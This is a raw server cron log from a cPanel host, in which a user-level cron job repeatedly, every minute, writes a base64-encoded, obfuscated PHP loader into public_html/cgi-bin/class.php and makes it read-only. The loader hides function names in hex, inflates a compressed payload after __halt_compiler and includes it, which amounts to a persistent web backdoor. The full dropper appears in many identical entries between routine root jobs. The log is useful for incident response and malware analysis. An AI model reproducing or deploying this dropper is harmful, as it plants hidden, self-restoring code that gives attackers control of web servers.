Nov 15 00:57:01 server CROND[23459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:57:01 server CROND[23460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:58:01 server CROND[23723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:59:01 server CROND[23977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:00:01 server CROND[24347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 01:00:01 server CROND[24348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:00:01 server CROND[24350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:00:01 server CROND[24349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:01:01 server CROND[24665]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 01:01:01 server CROND[24666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:01:01 server run-parts(/etc/cron.hourly)[24665]: starting 0anacron
Nov 15 01:01:01 server anacron[24679]: Anacron started on 2025-11-15
Nov 15 01:01:01 server anacron[24679]: Normal exit (0 jobs run)
Nov 15 01:01:01 server run-parts(/etc/cron.hourly)[24681]: finished 0anacron
Nov 15 01:02:01 server CROND[24945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:03:01 server CROND[25209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:04:01 server CROND[25465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:05:01 server CROND[25825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:05:01 server CROND[25824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 01:05:01 server CROND[25828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:05:01 server CROND[25829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:06:01 server CROND[26155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:07:01 server CROND[26458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:08:01 server CROND[26715]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:09:01 server CROND[26993]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:09:01 server CROND[26994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:10:01 server CROND[27379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
